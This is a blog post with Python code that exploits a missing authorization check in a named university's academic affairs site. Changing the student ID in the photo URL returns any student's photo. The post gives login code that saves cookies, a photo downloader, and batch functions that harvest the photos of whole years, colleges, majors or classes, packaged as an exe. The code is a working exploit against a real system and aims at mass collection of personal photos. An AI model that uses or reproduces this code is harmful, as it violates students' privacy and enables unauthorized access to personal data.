【Python爬蟲】爬取教務處學生照片
踩點
已知的情況是,教務處登陸後,在個人信息頁面f12打開控制台,可以查看個人頭像的源碼。改變圖片地址中的學號,可以得到該學生的照片。這個漏洞在於,你訪問這個鏈接,他並不會去核實你的身份,即使你請求的不是登陸信息時的學號,他也照樣會成功返回。
登陸
要進入個人信息界面,就要有cookie信息,cookie信息在登陸後可以獲得。由於教務處的登陸頁面比較多,尋找之後發現一個登陸介面,直接以get方式上傳學號和教務處密碼,而且不需要驗證碼。這就簡單了,直接偽造頭部,封裝GET_data,request進行訪問,然後利用python的cookiejar保存登陸成功獲得的cookie文件。
def SaveCookie(usr,pwd): #保存在cookie.txt loginUrl = "http://ded.nuaa.edu.cn/NetEAn/user/jwc_login_jk1.asp" values = {} values[usr] = usr values[pwd] = pwd GET_data = urllib.parse.urlencode(values) user_agent = rMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 headers = {User-Agent: user_agent, Connection: keep-alive,Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,Accept-Encoding:gzip, deflate} cookie_filename = cookie.txt cookie = http.cookiejar.MozillaCookieJar(cookie_filename) handler = urllib.request.HTTPCookieProcessor(cookie) opener = urllib.request.build_opener(handler) # 自定義Opener對象 geturl = loginUrl + "?" + GET_data # 構造訪問網址 try: request = urllib.request.Request(geturl, headers=headers) # 構造包含headers的request response = opener.open(request) except URLError as e: print(e) return 0 if cookie.__len__() == 1: return 2 else: cookie.save(ignore_discard=True, ignore_expires=True) # 保存cookie到cookie.txt中 return 1
下載圖片
下載圖片就比較簡單,踩點可知,圖片的獲取就是以get方式訪問一個鏈接,鏈接中傳遞兩個參數:pic和xh。pic有兩個值:xh代表在校照片和sfzh代表畢業照片,我們這裡用的是xh。xh直接是想要下載的學生的學號。一開始我以為圖片是傳統的png或jpg格式,然後想直接下載,失敗。後來查看request返回值發現圖片是以base64的格式返回的,這就需要write將圖片的二進位寫到本地文件,這個是這次爬取中唯一遇到的坑。
def DownLoadPic(xh,pic = "xh"): # 利用cookie.txt中的cookie訪問http://ded.nuaa.edu.cn/netean/com/jbqkcx.asp cookie_filename = cookie.txt cookie = http.cookiejar.MozillaCookieJar(cookie_filename) cookie.load(cookie_filename, ignore_discard=True, ignore_expires=True) # 載入cookie handler = urllib.request.HTTPCookieProcessor(cookie) opener = urllib.request.build_opener(handler) user_agent = rMozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 headers = {User-Agent: user_agent, Connection: keep-alive, Accept:image/webp,image/apng,image/*,*/*;q=0.8, Accept-Encoding:zh-CN,zh;q=0.8, Referer:http://ded.nuaa.edu.cn/netean/com/jbqkcx.asp} get_url = "http://ded.nuaa.edu.cn/netean/GetPic.asp" values = {} values[pic] = pic values[xh] = xh GET_data = urllib.parse.urlencode(values) get_url += "?" + GET_data try: get_request = urllib.request.Request(get_url, headers=headers) get_response = opener.open(get_request) except URLError as e: print(e) return 0 checkDir(xh) #生成對應的文件夾 fhand = open(.+ os.sep + str(xh[0:2]) + 院+ os.sep + str(xh[2:4]) + "級"+ os.sep + str(xh[4:7]) + os.sep + xh + .jpg, wb) size = 0 while True: info = get_response.read(100000) if len(info) < 1: break size = size + len(info) fhand.write(info) return 1
介面
最後寫了五個介面
DownLoadAll():下載15-17級所以學生的照片
DownLoadCollege():下載某個學院的學生照片
DownLoadMajor():下載某個專業的學生照片
DownLoadClass():下載某個班級的學生照片
批量下載照片,其實就是循環學號,有些院的學號編製可能有所不同,所以沒辦法爬取到。
結果
最後爬取的結果如下圖所示
生成exe
考慮到每次想找一個人的照片還要py,所以就用PyInstaller把代碼打包成exe工具。
GitHub鏈接:LogicJake/NUAA_PIC
博客鏈接:【Python爬蟲】爬取教務處學生照片 - 滑天下之大稽
推薦閱讀:
※關於爬蟲,看這一篇就夠了!
※通過python進行單網頁內圖片爬取及下載
※零基礎,教您網頁數據抓取
※爬蟲代碼改進(二)|多頁抓取與二級頁面
※Python 爬取 全民K歌 個人主頁全部歌曲和MV